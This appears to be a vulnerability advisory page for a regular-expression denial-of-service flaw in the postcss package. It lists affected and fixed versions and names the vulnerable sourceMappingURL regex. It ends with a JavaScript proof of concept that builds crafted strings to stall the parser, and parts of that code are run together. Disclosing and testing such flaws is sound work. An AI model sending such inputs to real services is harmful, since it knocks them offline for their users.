Regular Expression Denial of Service in postcss
Affected releases · postcss
- 8.x8.0.0 – 8.2.12Fixed in 8.2.13
- 7.x7.0.0 – 7.0.35Fixed in 7.0.36
- 6.x and older0.1.0 – 6.0.23No fix, no longer updated
On 8.x, the newest line:
npm install postcss@8.2.13Affected
8.0.0 – 8.2.12
38 releases
Fixed
8.2.13 – 8.5.31
97 releases, latest
Affected
7.0.0 – 7.0.35
36 releases
Fixed
7.0.36 – 7.0.39
4 releases
Affected
6.0.0 – 6.0.23
24 releases
Affected
5.0.0 – 5.2.18
44 releases
Affected
4.0.0 – 4.1.16
24 releases
Affected
3.0.0 – 3.0.7
8 releases
Affected
2.0.0 – 2.2.6
11 releases
Affected
1.0.0 – 1.1.0
2 releases
Affected
0.1.0 – 0.3.5
8 releases
Is your project affected?
Paste your package.json, or type the range you declare for postcss. It is read in your browser and sent nowhere.
What happens
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
PoC
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}